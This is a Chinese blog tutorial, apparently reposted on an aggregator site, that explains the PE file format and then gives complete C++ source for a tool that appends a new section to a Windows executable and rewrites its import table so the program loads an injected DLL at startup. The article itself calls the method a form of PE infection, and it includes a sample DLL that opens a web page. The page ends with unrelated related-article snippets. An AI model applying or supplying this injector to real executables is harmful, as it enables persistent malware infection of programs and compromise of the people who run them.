劫持 PE 文件:新建节表并插入指定 DLL 文件

 PE格式简介

        PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。

        Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。

        PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。主要有:

下面是一个简化的PE文件格式

简化PE文件格式

DOS MZ Header

PE Header

Section Table

Section 1

Section 2

...

Section n

Dos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。

1、入口点 Entry Point

2、文件偏移地址 File Offset

3、虚拟地址 Virtual Address 简称:VA

4、基地址 ImageBase

5、相对虚拟地址 Relative Virual Address 简称:RVA

公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)

文件偏移地址和虚拟地址转换

在X86系统中,每个内存页的大小是4KB,即0X1000个字节。

文件偏移地址 File Offset = RVA (相对虚拟地址) 

文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址) 

  • PE具体结构图

pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。

如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。

几个宏定义:

IMAGE_DOS_HEADER

typedef struct _IMAGE_DOS_HEADER{WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)WORD e_cblp; //文件最后页的字节数WORD e_cp; //文件页数WORD e_crlc; //重定义元素个数WORD e_cparhdr; //头部尺寸,以段落为单位WORD e_minalloc; //所需的最小附加段WORD e_maxalloc; //所需的最大附加段WORD e_ss; //初始的SS值(相对偏移量)WORD e_sp; //初始的SP值WORD e_csum; //校验和WORD e_ip; //初始的IP值WORD e_cs; //初始的CS值(相对偏移量)WORD e_lfarlc; //重分配表文件地址WORD e_ovno; //覆盖号WORD e_res[4]; //保留字WORD e_oemid; //OEM标识符(相对e_oeminfo)WORD e_oeminfo; //OEM信息WORD e_res2[10]; //保留字DWORD e_lfanew; //新exe头部的文件地址}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_NT_HEADERS

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16typedef struct IMAGE_NT_HEADERS{DWORD Signature;IMAGE_FILE_HEADER FileHeader;IMAGE_OPTIONAL_HEADER32 OptionalHeader;}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;typedef struct IMAGE_FILE_HEADER{WORD Machine;WORD NumberOfSections;//节的数量DWORD TimeDateStamp;DWORD PointerToSymbols;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;typedef struct IMAGE_OPTIONAL_HEADER32{WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUnInitializedData;DWORD AddressOfEntryPoint;DWORD BaseOfCode;DWORD BaseOfData;DWORD ImgaeBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemVersion;WORD MinorOperatingsystemversion;WORD MajorImageVersion;WORD MinorImageVersion;WORD MajorSubsybtemVersion;WORD MinorSubsybtemVersion;DWORD Win32VersionValue;DWORD SizeOfImage;DWORD SizeoOfHeaders;DWORD CheckSum;WORD Subsystem;WORD DllCharacteristics;DWORD SizeOfStackReserve;DWORD SizeOfStackCommit;DWORD SizeOfHeapReserve;DWORD SizeOfHeapCommit;DWORD LoaderFlages;DWORD NumberOfRvaAndSizes;IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

IMAGE_SECTION_HEADER

PE文件头后是节表,在winnt.h下如下定义typedef struct _IMAGE_SECTION_HEADER{//IMAGE_SIZEOF_SHORT_NAME=8BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"union{DWORD PhysicalAddress;//物理地址DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小} Misc;DWORD VirtualAddress;//RVADWORD SizeOfRawData;//物理长度DWORD PointerToRawData;//节基于文件的偏移量DWORD PointerToRelocations;//重定位的偏移DWORD PointerToLinenumbers;//行号表的偏移WORD NumberOfRelocations;//重定位项数目WORD NumberOfLinenumbers;//行号表的数目DWORD Characteristics;//节属性 如可读,可写,可执行等} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef struct IMAGE_THUNK_DATA{union{DWORD ForwarderString;DWORD Function;DWORD Ordinal;DWORD AddressOfData;}u1;}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;typedef struct IMAGE_IMPORT_BY_NAME{WORD Hint;BYTE Name;}IMAGE_IMPORT_BY_NAME;

详细PE结构说明请查阅:

PE文件结构详解 --(完整版)icon-default.png?t=N7T8https://hupengcheng.blog.csdn.net/article/details/125847139?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&utm_relevant_index=10

 

  • 修改 PE 文件 IAT 注入

        通过以上的简单了解后,那么我们便进入正题。

        下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。

        1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。

        2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。

IDT 结构:

        IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。

        IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多……直接上代码。 

  • 现实代码 

 DLL:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"extern "C"
{__declspec(dllexport) int Msg();
}__declspec(dllexport) int Msg()
{system("start https://www.chwm.vip/?PEinject_v1.0");return 0;
}DWORD WINAPI Thread(LPVOID LpParameter)
{char szPath[MAX_PATH] = { 0 };char szBuf[1024] = { 0 };GetModuleFileName(NULL, szPath, MAX_PATH);sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());MessageBox(NULL, szBuf, "DLL Inject", MB_OK);return 0;
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:CreateThread(NULL, 0, Thread, NULL, 0, NULL);Msg();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

主程序:

// PEinject.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include "PEinject.h"#ifdef _DEBUG
#define new DEBUG_NEW
#endif#define ERROR_MESSAGE(Msg) cout << Msg << endl;// 唯一的应用程序对象CWinApp theApp;using namespace std;BOOL    AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL    AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL    AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD   RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{BOOL bOk = false;try{bOk = AddNewSection(strTargetFile, 256);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewSection failed.");return false;}bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");return false;}}catch (exception* e){ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());return false;}return true;
}BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{BOOL bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}// 判断是否可以增加一个新节if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/){ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");bOk = false;goto EXIT;}// 得到新节的起始地址, 最后的起始地址PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;// 对齐RVA和偏移DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);// 填充新节表memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));pNewSectionHeader->VirtualAddress = VirtualOffset;pNewSectionHeader->Misc.VirtualSize = VirtualSize;pNewSectionHeader->PointerToRawData = FileOffset;pNewSectionHeader->SizeOfRawData = FileSize;pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;// 修改IMAGE_NT_HEADERSpNtHeaders->FileHeader.NumberOfSections++;pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;            // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;// 添加新节到文件尾部SetFilePointer(TargetFileHandle, 0, 0, FILE_END);PCHAR pNewSectionContent = new CHAR[FileSize];RtlZeroMemory(pNewSectionContent, FileSize);DWORD dwWrittenLength = 0;bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);if (bOk == false){ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}}catch (exception* e){ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());bOk = false;}
EXIT:if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}return bOk;
}ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign);        //  想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
}BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{bool bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}// 得到原导入表pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));// 判断是否使用了绑定导入表bool bBoundImport = false;if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0){// 桥一为0 桥二不是0 说明使用了绑定导入表bBoundImport = true;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;}// 找到自己添加的新节PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;PBYTE pNewImportDescriptor = pNewSectionData;// 往新节中拷贝原导入表内容int i = 0;while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0){memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));pImportTable++;pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);i++;}// 复制最后一个描述符memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));// 计算修正值DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;// pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());// 确定 DllName 的位置pszDllName[strInjectDllName.length() + 1] = 0;// 确定 IMAGE_IMPORT_BY_NAM 的位置PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);// 初始化 IMAGE_THUNK_DATApNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;// 初始化 IMAGE_IMPORT_BY_NAMEpImportByName->Hint = 1;memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());pImportByName->Name[strFunctionName.length() + 1] = 0;// 初始化 PIMAGE_IMPORT_DESCRIPTORif (bBoundImport){((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;}else{((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;}((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;// 修改导入表入口pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);}catch (exception* e){ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());bOk = false;}EXIT:{if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}}return bOk;
}PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{int i;PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++){if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData))){return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));}}return PIMAGE_SECTION_HEADER(NULL);
}DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{DWORD _offset;PIMAGE_SECTION_HEADER section;// 找到偏移所在节section = GetOwnerSection(pNTHeaders, dwRVA);if (section == NULL){return(0);}// 修正偏移_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;return(_offset);
}int main(int argc, char *argv[])
{AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");system("start https://www.chwm.vip/?PEinject_v1.0");system("pause");return 0;
}
  • 效果演示:

修改前

修改后

 

运行效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/589141.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UIToolKit使用心得

起因 因为那个uitoolkit自己写了一套graphView&#xff0c;所以想着来用用但是用完之后发现也不过如此 怎么构建自己的组件 我在继承Node之后想修改node的样式该怎么办呢是这样的。先用pick点击默认的node节点元素- 在pick默认创建的node节点之后&#xff0c;可以把它的uxml…

类的加载顺序问题-demo展示

面试的的时候经常会被问到包含静态代码块、实例代码块和构造器等代码结构的加载顺序问题&#xff0c;下面借用一个面试题&#xff0c;回顾一下类的代码加载顺序。 public class AooTest {public static void main(String[] args) {AooTest.f1();}static AooTest test1 new Ao…

RedisTemplate序列化

SpringBoot整合Redis&#xff0c;配置RedisTemplate序列化。如果使用StringRedisTemplate&#xff0c;那么不需要配置序列化&#xff0c;但是StringRedisTemplate只能存储简单的String类型数据&#xff0c;如图&#xff1a; 如果使用StringRedisTemplate存储一个常规对象&#…

步进电机为什么叫步进电机,内部结构是什么,工作原理是什么,有什么特点,什么用途。

问题描述&#xff1a;步进电机为什么叫步进电机&#xff0c;内部结构是什么&#xff0c;工作原理是什么&#xff0c;有什么特点&#xff0c;什么用途。 问题解答&#xff1a; "步进"一词表示电机按照固定的步进角度运动。步进电机以控制脉冲信号来驱动转子按照一定的…

3D视觉-相机选用的原则

鉴于不同技术方案都有其适用的场景&#xff0c;立体相机的选型讲究的原则为“先看用途&#xff0c;再看场景&#xff0c;终评精度”&#xff0c;合适的立体相机在方案中可以起到事半功倍的效果。从用途上来进行划分&#xff0c;三维视觉方案主要应用在两个方向&#xff1a;测量…

JavaScript中alert、prompt 和 confirm区别及使用【通俗易懂】

✨前言✨   本篇文章主要在于&#xff0c;让我们看几个与用户交互的函数&#xff1a;alert&#xff0c;prompt 和confirm的使用及区别 &#x1f352;欢迎点赞 &#x1f44d; 收藏 ⭐留言评论 &#x1f4dd;私信必回哟&#x1f601; &#x1f352;博主将持续更新学习记录收获&…

PiflowX组件-WriteToUpsertKafka

WriteToUpsertKafka组件 组件说明 以upsert方式往Kafka topic中写数据。 计算引擎 flink 有界性 Streaming Upsert Mode 组件分组 kafka 端口 Inport&#xff1a;默认端口 outport&#xff1a;默认端口 组件属性 名称展示名称默认值允许值是否必填描述例子kafka_h…

阿里开源大模型 Qwen-72B 私有化部署

近期大家都知道阿里推出了自己的开源的大模型千问72B&#xff0c;据说对于中文非常友好&#xff0c;在开源模型里面&#xff0c;可谓是名列前茅。 千问拥有有强大的基础语言模型&#xff0c;已经针对多达 3 万亿个 token 的多语言数据进行了稳定的预训练&#xff0c;覆盖领域、…

【Java】JUC并发编程(重量锁、轻量锁、偏向锁)

JUC并发编程 预备&#xff1a; 创建一个maven工程&#xff0c;导入lombok和logback的依赖。 1、基础概念 1、进程与线程 **进程&#xff1a;**程序由指令和数据组成&#xff0c;但这些指令要运行&#xff0c;数据要读写&#xff0c;就必须将指令加载至 CPU &#xff0c;数…

Golang不可不知的7个并发概念

并发性支持是Golang最重要的原生特性之一&#xff0c;本文介绍了Golang中和并发性相关的7个概念。原文: Golang: 7 must-know concurrency related concepts 并发是Go编程语言的基本特性&#xff0c;意味着程序可以同时执行多个任务。Golang的并发独特而强大&#xff0c;其内置…

【Linux操作系统】探秘Linux奥秘:文件系统的管理与使用

&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;《操作系统实验室》&#x1f516;诗赋清音&#xff1a;柳垂轻絮拂人衣&#xff0c;心随风舞梦飞。 山川湖海皆可涉&#xff0c;勇者征途逐星辉。 目录 &#x1fa90;1 初识Linux OS &…

【数据结构】栈和队列(队列的基本操作和基础知识)

&#x1f308;个人主页&#xff1a;秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343&#x1f525; 系列专栏&#xff1a;《数据结构》https://blog.csdn.net/qinjh_/category_12536791.html?spm1001.2014.3001.5482 ​ 目录 前言 队列 队列的概念和结构 队列的…

二叉树详解(深度优先遍历、前序,中序,后序、广度优先遍历、二叉树所有节点的个数、叶节点的个数)

目录 一、树概念及结构(了解) 1.1树的概念 1.2树的表示 二、二叉树概念及结构 2.1概念 2.2现实中的二叉树&#xff1a; 2.3数据结构中的二叉树&#xff1a; 2.4特殊的二叉树&#xff1a; 2.5 二叉树的存储结构 2.51 顺序存储&#xff1a; 2.5.2 链式存储&…

CSS2_基础学习

CSS2_基础学习 一、css基础知识二、css选择器2.0 选择器的优先级2.1 CSS基本选择器2.2 复合选择器2.2.1. 交集选择器2.2.2. 并集选择器2.2.3. 后代选择器&#xff08;加空格&#xff09;2.2.4. 子代选择器2.2.5. 兄弟选择器2.2.6. 属性选择器2.2.7. 伪类选择器2.2.8. 伪元素选择…

微信小程序发送模板消息-详解【有图】

前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么&#xff0c;这只是前端的一个demo实现&#xff0c;建议大家在后端处理&#xff0c;前端具体实现&#xff1a;如下图 1.获取小程序Id和密钥 我们注册完微信小程序后&#xff0c;可以在开发设置中看到以下内容&a…

navicat premium历史版本下载及更新navicat premium15 永久(使用)有效期

1、navicat premium介绍 Navicat Premium 是一套可创建多个连接的数据库开发工具&#xff0c;让你从单一应用程序中同时连接 MySQL、Redis、MariaDB、MongoDB、SQL Server、Oracle、PostgreSQL 和 SQLite 。它与 GaussDB 、OceanBase 数据库及 Amazon RDS、Amazon Aurora、Amaz…

基于简化版python+VGG+MiniGoogLeNet的智能43类交通标志识别—深度学习算法应用(含全部python工程源码)+数据集+模型(一)

目录 前言总体设计系统整体结构图系统流程图 运行环境Python环境Anaconda环境 模块实现1. 数据预处理 相关其它博客工程源代码下载其它资料下载 前言 本项目专注于解决出国自驾游特定场景下的交通标志识别问题。借助Kaggle上的丰富交通标志数据集&#xff0c;我们采用了VGG和G…

推荐系统中 排序策略 CTR 动态加权平均法

CTR&#xff08;Click-Through Rate&#xff09;动态加权平均法是一种用于计算广告点击率的方法&#xff0c;其中每个点击率被赋予一个权重&#xff0c;这个权重可以随着时间、事件或其他因素而动态调整。这种方法旨在更灵活地反映广告点击率的变化&#xff0c;使得最近的数据更…

Mybatis 事务接口

当我们从数据源中得到一个可用的数据库连接之后&#xff0c;就可以开启一个数据库事务了&#xff0c;事务成功开启之后&#xff0c;我们才能修改数据库中的数据。 在修改完成之后&#xff0c;我们需要提交事务&#xff0c;完成整个事务内的全部修改操作&#xff0c;如果修改过…

JAVA:利用JUnit进行高效的单元测试

1、简述 在软件开发中&#xff0c;单元测试是确保代码质量和可维护性的关键步骤。JUnit作为Java领域最流行的单元测试框架之一&#xff0c;提供了简单而强大的测试工具&#xff0c;可以帮助开发者在项目开发过程中及时发现和修复代码中的问题。本文将介绍JUnit的基本用法以及一…